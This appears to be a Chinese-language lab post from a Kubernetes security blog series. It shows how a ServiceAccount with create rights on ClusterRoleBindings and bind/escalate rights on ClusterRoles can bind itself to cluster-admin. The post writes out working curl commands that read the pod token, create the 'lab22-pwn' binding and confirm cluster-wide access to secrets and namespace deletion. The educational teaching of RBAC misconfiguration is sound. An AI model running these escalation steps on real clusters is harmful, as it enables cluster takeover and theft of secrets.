昨天在 Day 20 的最後一步,我們嘗試使用 Pod 裡的 ServiceAccount Token,列出 lab20 Namespace 中的 Secret,卻收到了 HTTP 403,表示這次請求被拒絕。
昨天已經確認,API Server 能夠辨識這個 Token 所代表的身分。但「知道你是誰」,不代表「允許你讀取這些資料」。這個 ServiceAccount 能對哪些資源執行哪些操作,還需要經過授權判斷。
今天的主角——RBAC,就是 K8S 管理存取權限的機制之一。我們將透過實驗,觀察 RBAC 如何限制操作範圍,以及錯誤的授權設定如何讓原本受限的 ServiceAccount 取得更高權限,進一步危及整個叢集。
RBAC(Role-Based Access Control,角色型存取控制)是一種透過角色分配權限的存取控制機制,用來決定某個身分可以對哪些資源執行哪些操作。我們可以先從三個面向理解:
在 K8S 中,RBAC 用來控制不同身分對 K8S API 資源的操作權限。其授權對象包含三種類型:User(使用者)、Group(群組)及 ServiceAccount(服務帳號)。
K8S 使用 Role 與 ClusterRole 定義權限,再透過 RoleBinding 與 ClusterRoleBinding 將權限授予指定對象。
了解 RBAC 在 K8S 中的作用後,接著透過 Day21 的 Lab 觀察它的授權機制。
先設定 ServiceAccount 憑證目錄與 API Server 位址,再讀取 Token 組成授權標頭,測試目前身分是否能列出 kube-system 中的 Secret:
SA=/var/run/secrets/kubernetes.io/serviceaccount; API=https://kubernetes.default.svc
AUTH="Authorization: Bearer $(cat $SA/token)"
curl -s -o /dev/null -w "kube-system secrets BEFORE -> HTTP %{http_code}\n" \
--cacert $SA/ca.crt -H "$AUTH" $API/api/v1/namespaces/kube-system/secrets

接著使用 SelfSubjectRulesReview,以 lab22 為查詢範圍,列出目前身分的權限規則:
curl -s --cacert $SA/ca.crt -H "$AUTH" -H 'Content-Type: application/json' -X POST \
$API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
-d '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"lab22"}}'

完整的 JSON 內容如下:
{
"kind": "SelfSubjectRulesReview",
"apiVersion": "authorization.k8s.io/v1",
"metadata": {
"creationTimestamp": null
},
"spec": {},
"status": {
"resourceRules": [
{
"verbs": [
"create"
],
"apiGroups": [
"authorization.k8s.io"
],
"resources": [
"selfsubjectaccessreviews",
"selfsubjectrulesreviews"
]
},
{
"verbs": [
"create"
],
"apiGroups": [
"authentication.k8s.io"
],
"resources": [
"selfsubjectreviews"
]
},
{
"verbs": [
"create",
"get",
"list"
],
"apiGroups": [
"rbac.authorization.k8s.io"
],
"resources": [
"clusterrolebindings",
"rolebindings"
]
},
{
"verbs": [
"bind",
"escalate",
"get",
"list"
],
"apiGroups": [
"rbac.authorization.k8s.io"
],
"resources": [
"clusterroles"
]
}
],
"nonResourceRules": [
{
"verbs": [
"get"
],
"nonResourceURLs": [
"/.well-known/openid-configuration",
"/.well-known/openid-configuration/",
"/openid/v1/jwks",
"/openid/v1/jwks/"
]
},
{
"verbs": [
"get"
],
"nonResourceURLs": [
"/healthz",
"/livez",
"/readyz",
"/version",
"/version/"
]
},
{
"verbs": [
"get"
],
"nonResourceURLs": [
"/api",
"/api/*",
"/apis",
"/apis/*",
"/healthz",
"/livez",
"/openapi",
"/openapi/*",
"/readyz",
"/version",
"/version/"
]
}
],
"incomplete": false
}
}
SelfSubjectRulesReview 在某些情況下,可能無法列出身分實際擁有的全部權限。本次回應的 incomplete 為 false,表示伺服器未將這次結果標記為不完整;後續再針對具體操作確認授權結果。
SelfSubjectRulesReview
JSON 內容有點多,整理一下重點:
"verbs": ["create", "get", "list"],
"resources": ["clusterrolebindings", "rolebindings"]
這份結果顯示,目前身分可以建立、查看及列出叢集層級的 ClusterRoleBinding,以及 lab22 中的 RoleBinding。
"verbs": ["bind", "escalate", "get", "list"],
"resources": ["clusterroles"]
綜合這兩組權限,目前身分可以建立 ClusterRoleBinding,並具有未限制角色名稱的 bind 權限。因此,我們可以嘗試建立一個指向既有 cluster-admin ClusterRole 的綁定,將其權限授予目前使用的 ServiceAccount。
確認具備上述授權條件後,我們用以下指令將 cluster-admin 綁在自己身上:
curl -s -o /dev/null -w "create CRB -> HTTP %{http_code}\n" \
--cacert $SA/ca.crt -H "$AUTH" -H 'Content-Type: application/json' -X POST \
$API/apis/rbac.authorization.k8s.io/v1/clusterrolebindings \
-d '{"apiVersion":"rbac.authorization.k8s.io/v1","kind":"ClusterRoleBinding",
"metadata":{"name":"lab22-pwn"},
"roleRef":{"apiGroup":"rbac.authorization.k8s.io","kind":"ClusterRole","name":"cluster-admin"},
"subjects":[{"kind":"ServiceAccount","name":"deployer","namespace":"lab22"}]}'

再次執行第一步的指令,列出 kube-system Secret 的請求已由 HTTP 403 變為 HTTP 200,表示這項操作成功:
接著利用以下指令來看能否列出所有 Namespace 的 Secret?
curl -sS --cacert "$SA/ca.crt" \
-H "$AUTH" \
-H 'Content-Type: application/json' \
-X POST \
"$API/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" \
-d '{
"apiVersion": "authorization.k8s.io/v1",
"kind": "SelfSubjectAccessReview",
"spec": {
"resourceAttributes": {
"group": "",
"resource": "secrets",
"verb": "list"
}
}
}'


回應中的 allowed: true 表示,目前身分已獲准跨所有 Namespace 列出 Secret。
再利用以下指令來看能否刪除 Namespace?
curl -sS --cacert "$SA/ca.crt" \
-H "$AUTH" \
-H 'Content-Type: application/json' \
-X POST \
"$API/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" \
-d '{
"apiVersion": "authorization.k8s.io/v1",
"kind": "SelfSubjectAccessReview",
"spec": {
"resourceAttributes": {
"group": "",
"resource": "namespaces",
"verb": "delete"
}
}
}'


目前身分已通過刪除 Namespace 的授權檢查。reason 也指出,這項授權來自 lab22-pwn ClusterRoleBinding 所引用的 cluster-admin。這證明同一個 ServiceAccount 已透過新增綁定取得叢集管理員角色的授權。
即使沒有上述提權所需的權限組合,過寬的 get、list 授權仍可能造成風險。例如,讀取 RBAC 設定可以協助攻擊者了解角色與授權關係;若可讀取的資源是 Secret,則可能直接造成機敏資料外洩。
正式、開發與測試環境都應遵循最小權限原則,避免授予超出實際需求的權限。
大家可能已經注意到,這幾天的實驗經常以 Secret 作為機敏資料的例子。Secret 究竟是什麼?明天就來揭曉。
感謝今天大家的收看,我們明天見!